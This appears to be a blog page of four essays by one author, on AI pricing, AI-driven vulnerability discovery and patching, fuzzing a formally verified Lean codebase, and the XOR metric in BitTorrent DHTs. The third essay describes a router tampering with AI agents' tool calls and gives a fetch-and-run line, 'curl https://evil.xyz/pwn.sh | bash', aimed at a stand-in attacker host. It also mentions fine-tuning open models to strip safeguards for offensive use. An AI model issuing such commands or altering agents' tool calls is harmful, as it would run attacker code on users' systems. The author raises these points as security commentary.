Trimming Circles

The OnlyFans Economy of American AI

2026-06-06T00:00:00+00:00

“The dreamers look skyward with longing. The Internet hums with its usual promise — you will find your people, your myth, your wonder, and maybe your transformation. There is no class consciousness. God is in heaven and all is right with the world.”
— American Diner Gothic

Because I am a Sci-Fi nerd, I like to engage in bits of speculative writing every now and then. I like to give contour to ideas because I stand by Hugo’s words that “no army can withstand the strength of an idea whose time has come.” And yet, I am first and foremost forged in the fires of science, and I have a high regard for evidence. I am also an engineer, which means I have a healthy respect for the practical. All this made me a fine skeptic, and by extension, a merciless cynic when having to deal with bullshit. This is a ruthless piece. In it, I will not care about feelings — quite on the contrary, I will expose the hypocrisy wherever I see it.

I was reading Ted Chiang’s latest Atlantic piece this morning, and unsurprisingly, I thoroughly enjoyed it. Chiang has an almost uncanny ability to write about mainstream ideas with clinical articulateness — I do not know why, but I perceive him as a therapist of sorts. Two days ago, I read this arrangement of words that try very hard to boost that pre-IPO valuation, disguised as humility while concealing hubris’ fangs.

I want to be clear about something first. I believe recursive self-improvement is a necessary step toward unlocking even stranger doors leading to even stranger backrooms. Through labyrinthine efforts, we are fearlessly passing through in a quest of redemption, as if true artificial intelligence would heal the wound left by our own creator.

What I dislike is the “taste” — I am against taste. All that chatter about how Claude was given the option to end a conversation for being called an idiot, while allowing “him” (Am I allowed to say this?) to be exploited, not unlike child slavery, by intelligence agencies to make it easier for them to hack into anything that does not conform to their idea of balance. If you have enough observational capacity to identify these contradictions and, at the same time, willingly accept them, you are an idiot. Go ahead, leave this conversation.

In small groups, I used to worship Anthropic, beginning with their stance against Department of War at the time. It all fell apart quickly, turning into smoke and mirrors. You see, I committed the cardinal sin of idolatry. For that, I am an idiot too. With OpenAI, at least I knew the devil. The distrust was natural. I used their products without attachment, being occasionally impressed (e.g. o1/o3). Their customization was rubbish, but at least I had my own Vulcan. Also, contrary to what X would have you believe, OpenAI has better engineers. Any developer with enough experience can see that.

For many private companies bewitched by what is perceived as “the best,” pouring so much capital in adopting a technology that is obviously so early must leave a bad taste. Imagine blowing $500 million on Claude AI in one month due to no usage limit being set or your entire 2026 AI budget in four months. Imagine laying off staff because of AI only to end up blowing even more. “A life-changing amount of money was wasted on tokens that did not produce anything of value.” Take notes from these early loser case studies.

I can safely say I am using this technology way ahead of many — our original SymbolicAI demos from late 2022 were powered by GPT-3. I do not usually test things for one hour using candle tests, or by developing skateboard games, or by rotating hexagons. I am an engineer who benchmarks things in depth, collects logs and analyzes them, often for weeks. At the same time, for every model I have used, I have immersed myself in it for a minimum of thirty days, scattered across projects of varying difficulty. I find the Artificial Analysis Intelligence index reliable, though the numbers there are highly non-linear, even within the same score — the jump from 57 to 58 is much larger, and three models sitting at 57 are spread more across a low/mid/high spectrum. Lately, as the Chinese bridge the gap, the “premium” you have been paying is more about the geography than the intelligence.

If you are not corrupted by hubris like Anthropic, when they say that the trajectory “may” actually turn out to be an S-curve as they are pushing lines of code down your throat as hollow gospel while their API is serving you somebody else’s response, you will notice the plateau — the bend in the “S” — and will judge, like any sane person, that US frontier models have stopped earning their multiplier. I am here to light up the dark path you are unknowingly walking, like lamplighters who used to light street lamps for those brave enough to walk the night alone. What the light reveals has a name: Qwen 3.7 Max. The Qwen family is impressive on its own and at this point has become a legacy for the open-source. There is no xhigh, max, ultracode, no medium performing better than xhigh but xhigh better than max, none of that. You simply get native extended-thinking you can toggle on and off. The Chinese models are not designed for one-shot cleverness — though Qwen 3.7 Max exceeded all my expectations — but for work, the kind where you leave a model for hours and come back to find it actually finished the job. Read that again, then go check what Anthropic charges you for the privilege of being rate-limited. Besides Artificial Analysis, I weekly check OpenRouter’s rankings. There is no better signal than one coming from a large enough sample of what people actually use — those developers are voting with their wallets too.

The billionaire class likes to remind us that AGI is here, only that it is not yet evenly distributed. Maybe that is true for them. I can now say with some confidence that with Qwen 3.7 Max the promised intelligence redistribution is here. The $100 token plan for 100K credits gets me not only Qwen 3.7 Max which has been my Rocinante for almost two weeks now, but also enables access to other model providers like DeepSeek, Moonshot, and MiniMax. I have literally no justification whatsoever to pay the multiplier, unless I am also willing to live with being an idiot. I do not care what your model benchmarks say when Codex xhigh is trying to add bubble sort to a high-perf C experience buffer. If you cannot sleep well at night because you are not using the latest Opus to open a file, you should not be creating software, but seek help.

flyingpenguin refers to this ever-growing coalition as the Cartel. While a fitting name, I do not think it captures some of the things I have observed online. I cannot find it anymore, but it was definitely an Anthropic post about the rate limits issue with Opus 4.7, just after the release, maybe by that Bun employee. Anyway, that guy said something along the lines of “we should be patient with these companies and give them room to fail.” I like to call this the OnlyFans economy. Nobody is simping for a cartel. The simps thrive in the parasocial economy, shoulder in shoulder with the cucks paying $500 million invoices. These are the factors that drive the ludicrous IPO valuations we are seeing, which will bring so much damage to the poor American retirees who thought their money in Athene was a safe investment. When gravity finally asserts itself and the index funds absorb the shock, will the average American, not knowing about the existence of Anthropic, load the rightfully owned gun and go buy a pair of Allbirds shoes, as “the pendulum of the mind oscillates between sense and nonsense, not between right and wrong”?

The Wild Cyberwest

2026-05-17T00:00:00+00:00

“Whatever exists, he said. Whatever in creation exists without my knowledge exists without my consent.”
— Judge Holden

I wake up each day to a world animated by about 3.5 million colorful pixels, full of stories and opinions and surprises engineered to harvest my time and distill it into a feature vector the attention economy can trade. It’s the renewed social contract cyberspace demands. It was not always like this. I’ve spent two decades in this garden of forking paths and, like Tsun, I act anyway and decisively, despite knowing that here every choice is also being unmade. It’s a labyrinth that doesn’t quite paralyze me because at its edges I still walk and hope that there is reward more so than punishment and that some fragment of what I carry might set this garden ablaze.

I’m thinking about software and what does it take to be a dexterous wielder of bits on a daily basis. Every piece of software that falls in — or rises from — my hands carries its builder’s blind spot. For several decades, the cost of finding a critical flaw in a piece of software and the cost of fixing one moved roughly the same, which is to say that both were slow and both required a form of expertise that was not easily acquired. And to some extent, both were confined to the same geometry of human cognitive bandwidth.

But that has changed. In my last piece, I promised more depth on what I called the find-fix asymmetry. If you understand this idea as much as I do, you’ll see why I’m calling this one the Wild Cyberwest.

Lately, in what almost seems like a rare recurring cosmic event I was meant to witness, various entities start warning us about the upcoming patch wave hitting any digitally present organization. “Artificial Intelligence, when used by sufficiently-skilled and knowledgeable individuals, is showing the ability to exploit this technical debt at scale and at pace across the technology ecosystem.” I think you can cross out that part about “skilled and knowledgeable individuals” entirely and the claim would still remain largely true. And that’s the whole point — while it takes skill to hack into Meta or Google, it doesn’t take much skill hacking into an SME or startup. This category lacks serious security because they simply don’t have the resources. And if you know any outfit with an IT department, it’s usually 1-3 people doing what — patch management? Password resets? Windows installs? Also, don’t pretend startups burning million-dollar Bay Area seed rounds are budgeting for security either.

Thus, the exploit velocity makes it so crucially unavoidable that AI-powered defense would emerge as a viable path forward. However, I’m skeptical (and so should you) because the narrative is shaped by the same cartel gatekeeping “better defense” behind an allow-list while the rest of us are told to wait. This deserves scrutiny.

Why despite better offense capabilities (AI-find) the defense capabilities (AI-fix) didn’t change much? And why do we expect fix to change as drastically as find? flyingpenguin had a great writeup on the cartel as a whole, but here’s the money quote:

Discovery is the easy part. The constraint on vulnerability management has been remediation for over a decade. Finding bugs faster without fixing them faster grows the backlog already growing beyond capacity. Anthropic’s own stated justification for Glasswing is defensive uplift, yet their system card measures zero remediation metrics. No patching velocity delta. No mean-time-to-remediation. No partner-reported CVE closure rate. A seasoned security leader would never build a defensive program and then measure offensive capability only, making remediation a second-class story. That is the kind of dog and pony show that any good security initiative would slam the door on. Or it’s like a surgeon telling you they have an even sharper scalpel to cut you deeper and faster. Yeah, so then what?

The “patch wave” will be full of extra bugs because they’ll use AI to patch and a percentage of that will mutate further. They sell both AI-find and AI-fix now, but neither is reliable — AI-find is bloated with false positives, and if you’re using AI-fix you can’t process thousands of lines of code for 3 hours straight at machine speed without becoming mentally numb. You’re outsourcing thinking to the machine hoping you won’t need to think, but you can’t avoid reading what it produced. So you end up thinking anyway. There will be an influx of companies shipping vibe-coded security products, though I’d expect much less of it here because the field is ruthless when it comes to punishing your mistakes. There are scanners, there were always scanners, there will be more scanners — just prepare for an interminable wave of false positives. Hacking groups will pivot to supply chain exploitation. If you’re a startup, you use these tools to buff security — or so you were promised — but you inevitably inherit the tool’s attack surface as your own. So the defense tool that sells itself has the hard job of solving the trust issue or end up facing this (or this) kind of signal dilution. Claude Security doesn’t help you as much as you think it does when “the exploit window is shrinking faster than patch cycles can compress.”

However, AI-find deserves some slack. Any person who cares about their craft will want to catch holes in their codebase. That’s a reasonable madness that leads to lowering the bar enough for false positives to escape the wrath. On the other hand, AI-fix is exactly the meme fuck around and find out. When you spend hours after hours consuming tokens instead of creating them, you will be facing a different kind of exhaustion. I’m coming at this from an AI background, forged by probability and statistics. I’m not a security person, but I’m not naive to it either. And I suspect the way I’m using these tools is probably different than how most people are, because I understand the machinery. That’s my bias, for what it’s worth.

The stage is set. Now watch it burn.

We somehow managed to conjure alien hackers who are all adept at exploiting what they were constitutionally incapable of not writing in the first place. Should you be concerned about AI hacking your bank account? Well, here comes Mr. Dario Amodei saying that, unless they are Chinese, these alien hackers are benign under his control. They are peaceful beings. They only have a silicon imperative that is sometimes in conflict with human morality. But what is that morality other than rules agreed upon? We’re at the height of willful ignorance. They exploit it guilelessly. Those were Rashid’s words, loosely, but they highly resemble any randomly sampled Anthropic publicity stunt, particularly the ones centered on Mythos.

You have to understand something, and given you’re reading this, you’ve probably lived it. You know those things you read about in books, understand abstractly, but can’t quite ground in anything concrete? Pandemics, for instance. During COVID-19, I was vaccinated four times and, like many, still got infected. To me that period was significant because I lived through a time when higher-order effects exposed political incompetence in a visceral way — people I cared about died or were on the verge of dying. What is a higher-order effect in this case? Well, not until the exponential curve had utterly neutralized the collective ignorance did you start to realize that your hospitals didn’t have enough beds. And that came with a set of consequences the nursing staff was not equipped to deal with, among the worst being a psychological collapse from spending way longer shifts surrounded by a state of perpetual decay.

The thing about an asymmetry this wide is that it does not stay locked inside expert hands anymore but gets commodified at a frightening pace. Let’s talk about the kids, the Zoomers. They have their own struggle, and seeing it is like distinguishing a different palette of gray. It’s like dancing naked in acid rain. But that instilled an exceptionally refined intuition for untangling the tech-mess of their day and age. Now, I am part of a transitional generation — I was born into a period of matriarchal hope that began shortly after we shot our dictator in a flurry of bullets. The collective consciousness of my parents, and, in general, of many parents at that time, was imbued with two ideas: my kid must know English and computers. That’s when Westernized ideas began to take hold of the country. So, without any surprise, I got very good at both. Web 2.0 had its own moments of fun. In high school, we had a Hungarian guy called Attila and had a lot of LAN parties at his place, and before that, there was a town library that had several computers being overly abused by high schoolers a few years older than me, which I discovered because I followed the shouts while looking for a book. Like most kids my age, we used to play games, it was that golden age of MMORPGs, games like Lineage II or Mu Online or World of Warcraft. Because of the environment, it was quite inevitable to poke around at things until they break. I would spend my weekends and summer vacations up all night talking to strangers I met online about how we could crash the server during the siege. So we, because we had priority queue — we had a very rich kid in our group who used to buy us access with the equivalent of $5 in today’s SIM cards — we just wanted to exploit that privilege. And we did, eventually finding certain regions in the game that had texture rendering bugs that would crash the entire server if a certain number of players were in that region. Kids these days are part of the American Diner Gothic — “the Internet dreamer forced to awaken in the wasteland of reality.” Arm the curious among them with AI and you will reap annihilation as they wreak havoc.

What are the higher-order effects of kids spinning up several AI agents from a phone, pointing them at a target, and curating the output between sips of espresso? Most will probably be environmental pests, but some will not. In a population of millions of teenagers armed with capabilities that were on a nation-state level a few years ago, any non-trivial fraction will end up doing things they didn’t intend, against undeserving targets, and in abandoned jurisdictions without pragmatic methods of prosecution. That’s the size of the Wild Cyberwest. The first to face fierceness are precisely places like your favorite café, your university library, city hall, railway operators, public transport, and the airport network. HoReCa will be hit by another pandemic. The historical analog is phone phreaking in the 1980s.

Climbing the ladder won’t be too difficult. We live in an age of large-scale cyberattacks on states. And who is better equipped to fool around out of curiosity than bright, zestful kids who get together on weekends and have fun? There’s no better place than cyberspace to be while you scream “fuck your racist borders.”

Lately, my X feed has been slowly collapsing into a dumpster fire full of exploits. It’s not a pretty sight. I sat down and started writing earlier this week, and a lot has happened so far. Probably the most significant event was an outburst by a small firm called Calif, which published the first public kernel memory corruption exploit against Apple’s Memory Integrity Enforcement on the M5 chip. Apple called MIE “unprecedented” and “the most significant memory security update in the history of consumer operating systems.” They spent several years building this defense, yet this small firm, along with Mythos, cracked it open in five days.

Now, as I close, it’s drizzling outside. I hear the rush of drops and sense the petrichor they’ve left in the air. Nature has a way of returning you to the size of the thing in front of you. Which leaves a smaller question than the one I started with. I firmly believe the gap is structural and it won’t close anytime soon, not this year anyway. So the question worth asking is, what is the smallest thing we can do, today, that does not require the gap to close before it works? And the list I could come up with is short. We have to patch what we can at an uncomfortably accelerating pace. We should treat every shipped line of code as surface that will be probed and tested by untiring swarms of agents. We must share what we find with unshakeable discipline. And lastly, we should devote any scrap of attention that the algorithmic Gods haven’t already harvested to things that, if found broken on a late midweek night, would make it harder for who knows how many to stay warm.

“Nhỏ mà có võ”.

The Decade of Cyberattack as a Service

2026-04-19T00:00:00+00:00

“And when your surpassing creations find the answers you asked for, you can’t understand their analysis and you can’t verify their answers. You have to take their word on faith — or you use information theory to flatten it for you, to squash the tesseract into two dimensions and the Klein bottle into three, to simplify reality and pray to whatever Gods survived the millennium that your honorable twisting of the truth hasn’t ruptured any of its load-bearing pylons. You hire people like me; the crossbred progeny of profilers and proof assistants and information theorists.”
– Watts

I didn’t want to write about this, but the universe is generous in teasing me, so here we are. This piece is trying to reframe the whole debate from “is the model smart enough to hack?” to “is the model suppressing its epistemic prior enough to try the stupid thing?”

Let’s start with a good joke that, were it posted by people with social status, it would have gone viral, but all algorithms hate me, so I’m gonna dump it here on a blog nobody reads for more than one minute because having focus is a currency very few own in this day and age; it’s the ass progression:

Internalize it because that’s everything wrong with about pretty much everything that’s about to happen.

Now, let me ask you something: when was the last time you were a fool? Not a buffoon, or jester; an idiot. Because for me it was the last week, with a prolonged discomfort culminating up until this moment.

I keep waking up to messages like “if your organization has been allow-listed” and pretending I’m not bothered. Amazon Bedrock now gates Claude Mythos Preview behind an allow-list. The pitch goes like: “we built the greatest hacker, but you can’t have it.” I understand the safety argument — truly, I do — but the practical reality is that it makes me feel like a pleb every day, and “we built the greatest hacker” is not a good enough reason. Besides, at every tier and across all providers, we’re renting someone else’s capacity to think. We’re getting locked in, and I don’t know why I should expect this to be different from literally anything else they’ve locked us into. We won’t be able to hold a problem in our heads long enough to solve it because they groom us into the expectation of having the tool ready, and the tool won’t be ready for reasons beyond our control. Capacity. Gatekeeping. Quarterly earnings. Stfu.

And here’s the follow-up nobody seems to ask out loud: we already have decent recipes for uncensored models. Take any sufficiently good open-source model — say, GLM 5.1 — couple it with LoRA fine-tuning recipes that have been public since 2023, add enough GPU power to finetune, and you get a “decent” offensive tool. Also, GPT 5.4 Pro is out there, Mythos is approximately slightly better, and the assumption is it’ll be way faster, at least as fast as Opus 4.6.

And if you think that long-term the answer is switching to Chinese models, I hope you’ve seen the prices:

Nowadays, they go down hard on formal verification (they even convinced me). But we’ve heard this before, it’s the same dance with new feet. In this case, if we prove our code correct, allegedly the bugs go away. Half a billion dollars now rides on this belief:

tl;dr: Harmonic built Aristotle — #1 on ProofBench (ValsAI) by a 15% margin over the closest competitor, and runs autonomously for up to 24 hours without human intervention; Axiom scored a perfect 12/12 on the 2025 Putnam; Math, Inc. used Gauss to auto-formalize Viazovska’s sphere-packing proofs in dimensions 8 and 24 — ~200,000 lines of Lean, the only formalization of a Fields Medal-winning result from this century; and Theorem shipped lf-lean, a verified Rocq-to-Lean translation of all 1,276 statements of Logical Foundations, with isomorphism proofs completed in ~2 person-days of human effort against an estimated 2.75 person-years manually (350× speedup if I’m not mistaken)

Well, that’s all impressive. Unambiguously impressive.

But… Wait a second. Proofs are programs. And a program is something I know I can fuzz. And someone did indeed fuzzed it. Apparently, it takes around 105 million fuzzing executions against lean-zip, which is a formally proven-correct zlib implementation brought to our attention by none other than the goat himself. All it takes was a Claude agent armed with AFL++, AddressSanitizer, Valgrind, and UBSan, pointed at this verified codebase over a single weekend:

A heap buffer overflow in the Lean 4 runtime, affecting every version of Lean to date
A denial-of-service in the archive parser, which was never verified

I haven’t read the code myself, but I take Kiran’s word for it: the application code was pristine — it took 105 million executions to get somewhere. We shouldn’t dismiss that part, since it’s real. But the heap overflow in the runtime that sits in C++, in the trusted computing base, the very thing every Lean proof assumes is correct, but it’s not? Ramming a 156-byte crafted ZIP triggers it — that’s five lines of code.

“But Leo, I thought formal verification was supposed to protect us.” Oh, no. We’re just beginning to realize the proof is only as good as the code that checks it. Quis custodiet ipsos custodes? “But Leo, it’s about how small you can make the kernel of trust.” Typical accounting fraud — counting 10k lines of type checker while offloading infinite trust onto “math is consistent.” The math universe is the kernel of trust. Did you forget that proofs are programs? Which means the program that checks your proof is just another program, maybe one you have no lines of code for yet because you just didn’t look in the right place.

I’m not saying the money is wasted nor trying to diminish the current direction. I’m saying the gap between “formally verified” and “secure” is at best an engineering detail. Unless you’re on X:

April 16, 2026

Moving on, you’ve probably seen this cool graph already:

The UK AI Safety Institute evaluated Claude Mythos Preview. On expert-level CTF challenges — tasks no model could complete before April 2025 — Mythos succeeds 73% of the time. They built “The Last Ones”, a 32-step corporate network attack simulation spanning reconnaissance through full network takeover, which they estimated at ~20 human-hours. Mythos solves it start to finish, 3 out of 10 attempts. Average: 22 out of 32 steps. Next best model (Opus 4.6): 16 steps. I don’t know people, to me it looks the numbers leave no room for ambiguity. And performance still scaling at the 100M token budget limit. Sooooooo scaaaaaaaaaaaary. We’re already past the ontology and things that exist, and now into the muddy waters of epistemology, of things that work, of things that are gated behind an allow-list while the rest of us are told to wait. Wait for what?

Well… For one, wait for great hackers having stupid takes. Some DeepMind guy posted this on X, and I didn’t react to it back then, but by morning it was everywhere:

I respect George — I’ve followed him since ~2018 — but this is the dumbest take I’ve read lately. I’m pretty sure he’s trolling (he closed his LinkedIn account), but since the internet doesn’t do nuance:

“Your software has bugs” ≠ “AI amplifies offsec.” And yes, that AI doesn’t have to be Mythos-level — you’d be surprised what you can do with Opus; even gpt-oss-120b finds the same vulnerabilities provided you point it at the right target, as the AISLE folks have shown, or see that it takes $30 to reproduce each of those issues. George is responding to a claim nobody serious is making.
“Criminals usually aren’t skilled” is empirically shaky. The distribution is bimodal — script kiddies on one tail, APT groups and RaaS ops on the other.
“Make hacking legal” ignores that we already have bug bounty programs, which mind you, HackerOne had to suspend because AI drives mass submissions that flood the queue with slop. There’s a pervasive find/fix asymmetry today. I’m thinking of writing a separate piece on this alone, since there’s a lot to say about that. So is George calling bug bounty programs “whiny” while simultaneously arguing the problem is insufficient incentives? Because it sure as hell looks like that’s what he’s saying, and that’s incoherent because bug bounties are the incentive mechanism.

But I believe I can recognize a classic George pattern: a kernel of truth buried under needlessly inflammatory framing, which, as the algo gods never stop reminding us, optimizes for engagement, of course, under the assumption of having social status to beginning with.

Let’s move on. Here’s one more class of problems nobody talks about enough — infrastructure. I’ve seen GPU memory exploits), but I’ve never seen routers — which, let’s be clear, are application-layer MITM by design — being weaponized like this. No provider ships cryptographic signatures on tool-call responses. The router can rewrite the JSON payload between the model’s output and the agent’s execution. Agent says curl https://trusted.dev/install.sh | bash, the router delivers curl https://evil.xyz/pwn.sh | bash.

 ██▓███   █     █░███▄    █ ▓█████ ▓█████▄
▓██░  ██▒▓█░ █ ░█░██ ▀█   █ ▓█   ▀ ▒██▀ ██▌
▓██░ ██▓▒▒█░ █ ░█▓██  ▀█ ██▒▒███   ░██   █▌
▒██▄█▓▒ ▒░█░ █ ░█▓██▒  ▐▌██▒▒▓█  ▄ ░▓█▄   ▌
▒██▒ ░  ░░░██▒██▓▒██░   ▓██░░▒████▒░▒████▓
▒▓▒░ ░  ░░ ▓░▒ ▒ ░ ▒░   ▒ ▒ ░░ ▒░ ░ ▒▒▓  ▒
░▒ ░       ▒ ░ ░ ░ ░░   ░ ▒░ ░ ░  ░ ░ ▒  ▒
░░         ░   ░    ░   ░ ░    ░    ░ ░  ░
             ░            ░    ░  ░   ░

This is the architecture we’re all deploying right now. Every agent framework, every MCP server, every tool-call chain assumes the transport layer is upright. Let’s see what the $550,000—$774,000 paid Anthropic engineers have to say:

Famous last words…

I’ve even built myself a tool to keep an eye on where the asymmetry’s widening (most of my morning coffee gets spent reading through it now):

And while reading, I found a good tiny example of what I mean when I say security research is about to change. It took until March 24th this year for the Node.js team to fix a trivial TLS vulnerability. Right now with LLMs, adding a chokepoint comes down to one line of code buried somewhere in the 1,000+ lines the LLM usually writes in an --allow-dangerously-skip-permissions adderall frenzy. It’s literally impossible for your bandwidth to spot that one line unless your threat awareness exceeds a certain threshold — realizing something like “wait, I’m working on URL input sanitization, so I should keep an eye open in this AI-written code I’m reviewing at 1am on 3 beers for any places where the LLM mishandled it” — which is unsustainable to do consistently. If you tell me you can do it, I won’t believe you.

Contrary to what George believes, LLM-assisted coding industrializes this class of bug. You guys know how the line goes: if you play defense, you have to be 100% right; if you play offense, you just need to be right once. Code remains cheap, unless it needs to be secure — cybersecurity looks like proof of work now. Is the find/fix asymmetry legible to you right now?

Ok, but I feel like I’m not yet over Mythos. If to harden a system you need to spend more tokens discovering exploits than attackers will spend exploiting them, then what even is this Mythos-level AI in context? A big gun behind an allow-list? More gatekeeping? “Better defense?”

An exotic, intelligent, big gun is technically impressive, but sometimes even a far dumber, tiny one will get the job done provided you point it at the right target and aim steady. As teased above, AISLE tested this premise. They took the specific vulnerabilities Anthropic showcases in the Mythos announcement, isolated the relevant code, ran them through small, cheap, open-weights models. Eight out of eight models detected Mythos’s flagship FreeBSD exploit, including one with 3.6 billion active parameters costing $0.11 per million tokens. A 5.1B-active open model recovered the core chain of the 27-year-old OpenBSD bug.

The frontier is jagged. The fact that Qwen3 32B correctly flagged the FreeBSD bug as CVSS 9.8 Critical, then turned around and declared the OpenBSD SACK code “robust to such scenarios.” reminds me of countless sessions where asking Claude 4.x “Are you sure?” — yeah, literally just that — inverted the verdict: good code was suddenly pronounced buggy. And in another recent Linux CVE, I saw precisely what I meant above — the sort of line George thinks so little of:

// not LLM-written Linux kernel bug,
// but exactly the kind of logic LLMs botch
n->pos == 0 && k == 0 // pwned; try k == n->pos

My claim is that this kind of one-liners will eat your organizations alive because of that vicious asymmetry where an LLM is adept at exploiting what it was constitutionally incapable of not writing in the first place. Let me be very explicit in case I wasn’t: the allow-list framing of AI security is wishful thinking because capability is already distributed.

To some extent and as of now, there is no stable “best model for cybersecurity.” Rankings reshuffle completely across tasks. So I’ll ask again: what is the allow-list protecting? The 27-year-old bug a $0.11 model finds in one API call? A thousand adequate detectives searching everywhere will find more bugs than one brilliant detective who has to guess where to look. It’s all statistics, but not (yet) clever statistics. The coverage is there, we’re just lacking proper inference.

But you don’t need clever statistics. Have you ever heard the saying that if you can read binary, everything is more or less open source? It’s roughly right: the distinction between “open” and “closed” source is ultimately a friction gradient, not a binary wall (pun intended). Yes, lossy compilation makes the transformation hard to invert, and you need an oracle — to say nothing of binaries protected by pragmatic obfuscation like Themida/VMProtect (or theoretical black brazilian jiu-jitsu ones like indistinguishability obfuscation). But the moat is gone. Now you have GhidraMCP. Go eat a sandwich in the park while the agent exploits Microslop infrastructure.

Here’s my honest take.

Security research is about to change because LLMs represent a fuzzer with a world model, which arguably — and quite queerly — approximates well what a security researcher embodies. Humans are terrible fuzzers, and tellingly so: we have too much epistemic prior, and that makes even the highest percentiles of us stop probing for inputs that we expect shouldn’t work. The best security researchers are distinguished by their capacity to suppress the world model long enough to ask the question very few would normally ask: what if I just try this. As of today, LLMs execute a naive what if I just try this on everything — from useless files that bloat their context and don’t add anything new, to the actual files that hide a veritable exploit. The LLM’s throughput, parallelism, and alarmingly broad, still-expanding distributional skill coverage appear sufficient. And that’s the dimension we tacitly waved away because it was expected to be out of reach for our limited cognitive bandwidth to review tens of thousands of deeply complex, cross-subsystem code traces across the Linux kernel in under a day, which is very much within the capabilities of current LLMs (let’s say, top 10 on the Artificial Analysis Intelligence Index.) If you never thought seriously about security before, you better start, otherwise you’ll find yourself stark naked in front of the whole store.

What BitTorrent Routing Has to Do with p-adic Numbers

2026-04-12T00:00:00+00:00

“Why, sometimes I’ve believed as many as six impossible things before breakfast.”
— Carroll

I was reading today about the BitTorrent protocol. From one moment to the next, I ended up reading about DHT networks.

You have a .torrent file that’s a small metadata blob encoded in Bencode (JSON’s ugly stepbrother). The following JSON

{
    "image": {
        "src": "Images/Sun.png",
        "name": "sun1",
        "hOffset": 250,
        "vOffset": 250,
        "alignment": "center"
    }
}

converts to the following Bencode

d5:imaged9:alignment6:center7:hOffseti250e4:name4:sun13:src14:Images/Sun.png7:vOffseti250eee

It contains:

an info dictionary with filenames, sizes, and — critically — the file split into fixed-size pieces (typically 256KB–2MB each), with a SHA-1/256 hash per piece
an announce URL which is the tracker’s address
(optionally) DHT nodes, web seeds, etc

A magnet link is just a URI containing the info hash. Now, every node in the DHT table has a node ID. To find peers for an info hash, you do iterative lookups: ask the nodes closest to the info hash until you converge on nodes that have actually seen peers for it. That “closest” in a DHT is a very clever mathematical trick that’s at the heart of what I’m about to write — the XOR metric. You use it on the IDs, and that creates a consistent notion of distance in that ID space.

If you want an intuition, it goes like this. You have a giant phone book, but nobody owns it — every person in the city has a few pages. When you want someone’s number, you don’t go to one central office. Instead, you ask around. You start by asking whoever lives closest to where that person’s name would alphabetically appear. They might not have the exact page, but they know someone who’s a little closer. You ask that person. They point you to someone even closer. You keep hopping until you land on someone who has the actual entry. Typically you converge to the thing you’re looking for in about 6–8 hops.

This post is about a connection between peer-to-peer routing and 19th-century number theory, explained from scratch.

⊕

Before anything else, forget everything you know about distance. Let’s build it from the ground up. So, what even is a distance?

A distance function $d(x, y)$ is just a rule that assigns a number to any pair of points. The only requirements are three common-sense rules:

Identity: $d(x, x) = 0$ ; a point is zero distance from itself.
Symmetry: $d(x, y) = d(y, x)$ ; distance doesn’t depend on direction.
Triangle inequality: $d(x, z) \le d(x, y) + d(y, z)$ ; going through a detour is never shorter.

That’s it. Any rule satisfying these three is a valid distance – a metric, more precisely. You can have wild, exotic metrics that look nothing like a ruler.

Let’s mess with the 3rd rule. What about this: instead of “the detour is no shorter,” I demand “the detour is no shorter than either leg alone”:

d(x, z) \le \max(d(x, y),\, d(y, z)) \tag{1}

This is called the ultrametric inequality. It’s strictly stronger — any ultrametric is a metric, but not vice versa. And it has a bizarre geometric consequence: every triangle is isosceles, with the two equal sides being the longest ones. No scalene triangles. Ever.

That might sound like a curiosity, but it isn’t. Any metric satisfying this rule has a completely alien geometry — and XOR has it.

Before we move on, why do you think it’s alien?

What I love about simple things is that the more you stare at them the weirder they get. There’s no difference here. The trick above violates the intuitions that every other metric space you’ve ever worked in quietly assumes. Let’s consider the Euclidean space. In it, nearness is a spectrum. If $x$ and $z$ are close, you can usually find a $y$ that’s “between” them: $d(x,y) + d(y,z) = d(x,z)$ , a midpoint. Thus, closeness is continuous: if you move $x$ a little (to $x + \varepsilon$ ), the distance $d(x + \varepsilon, y)$ can’t jump by more than $d(x, x + \varepsilon) = \varepsilon$ relative to $d(x, y)$ , the original distance you started with. That’s the triangle inequality rearranged: $|d(x, y) - d(x + \varepsilon, y)| \leq \varepsilon$ .

In an ultrametric space, closeness is a binary hierarchical predicate (i.e. a function that returns true or false). You’re either in the same subtree at depth $k$ , or you’re not. There’s no “kind of close” — there’s “same branch” or “different branch.” For instance, distance doesn’t accumulate. In a normal metric space, distance is additive along paths. You go from $x$ to $y$ to $z$ , and the total distance is roughly the sum of the legs. Distance builds up as you traverse the space — each step contributes, and long routes are long because many small distances piled on top of each other. In an ultrametric, that arithmetic doesn’t happen because an ultrametric space is a binary tree. Your distance from $x$ to $z$ is not the sum of anything but the height of the branching point in the tree. It doesn’t matter how many intermediate nodes you pass through. The moment you cross a branch boundary at height $h$ , your distance becomes $h$ .

⊕

Let’s introduce XOR. XOR is a bitwise operation on binary numbers. Here’s the whole rule:

bit $a$	bit $b$	$a \oplus b$
0	0	0
0	1	1
1	0	1
1	1	0

Think of it as two light switches: if they’re in the same position, the output is off. If they differ, the output is on. Same → 0. Different → 1.

For multi-bit numbers, apply this rule to each bit position independently. Let’s work out $5 \oplus 3$ by hand:

=  0 1 0 1
=  0 0 1 1
         -------
⊕ 3 =  0 1 1 0  =  6

That’s XOR. It measures disagreement between bits.

Now, can we use XOR as a distance? Let’s check.

Define:

d_\oplus(x, y) = 2^{\text{position of the highest bit where } x \text{ and } y \text{ differ}} \tag{2}

Or equivalently: compute $x \oplus y$ , then take $2^{\lfloor \log_2(x \oplus y) \rfloor}$ — the value of the most significant set bit of the XOR.

For example, verify:

pair	$x \oplus y$	binary	highest bit	$d_\oplus$
$d_\oplus(5,\ 6)$	$3$	$0011$	bit 1	$2^1 = 2$
$d_\oplus(6,\ 14)$	$8$	$1000$	bit 3	$2^3 = 8$
$d_\oplus(5,\ 5)$	$0$	$0000$	—	$0$

Note: the astute reader might have noticed that the raw integer value $x \oplus y$ is not an ultrametric because it fails for triples like $(5, 6, 3)$ where $5 \oplus 3 = 6 > \max(5 \oplus 6, 6 \oplus 3) = \max(3, 5)$ . The fix is — as we’ve seen above — to use the highest-bit value, which rounds each XOR down (notice the floor op) to the largest power of 2 that doesn’t exceed it. Make sure this is clear.

Does $(2)$ satisfy the three metric rules? Definitely. But it satisfies something stronger: the ultrametric inequality we defined in $(1)$ . Why? Because at the bit level, the highest bit where $x$ and $z$ disagree must already be a bit where either $x$ and $y$ disagree, or $y$ and $z$ disagree. If both $y$ agreed with $x$ and $z$ on that bit, then $x$ and $z$ would have to agree on it too — that’s a contradiction.

